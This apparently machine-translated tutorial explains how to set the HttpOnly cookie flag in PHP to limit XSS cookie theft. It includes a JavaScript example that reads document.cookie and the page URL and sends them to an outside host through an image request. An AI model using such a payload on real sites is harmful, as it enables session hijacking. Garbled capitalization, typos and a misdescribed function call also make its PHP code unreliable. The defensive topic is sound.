Xss defense-php uses httponly to defend against xss attacks _ php instances

This article mainly introduces xss defense. php uses httponly to defend against xss attacks. The following describes how to set HttpOnly in PHP. If you need a friend, you can refer to the concept of xss, this means that once your website has an xss vulnerability, attackers can execute arbitrary js Code. The most terrible thing is that attackers can use JavaScript to obtain cookies or session hijacking, if it contains a large amount of sensitive information (such as identity information and administrator information), it's over...

Obtain cookie information using the following js:

The Code is as follows:

Url = document. top. location. href;
Cookie = document. cookie;
C = new Image ();
C. src = 'HTTP: // www.test.com/c.php? C = '+ cookie +' & u = '+ url;

Generally, cookies are obtained from the document object. Now, when setting cookies, the browser generally accepts a parameter called HttpOnly, which is the same as other parameters such as domain. Once this HttpOnly is set, you cannot see the Cookie in the document Object of the browser.

Set HttpOnly in PHP:

The Code is as follows:

// In php. ini, session. cookie_httponly = ture enables the HttpOnly attribute of the global Cookie.
Ini_set ("session. cookie_httponly", 1 );

// Or set the seventh parameter of setcookie () to true.
Session_set_cookie_params (0, NULL, TRUE );

For PHP versions earlier than PHP5.1:

The Code is as follows:

Header ("Set-Cookie: hidden = value; httpOnly ");

Finally, HttpOnly is not omnipotent!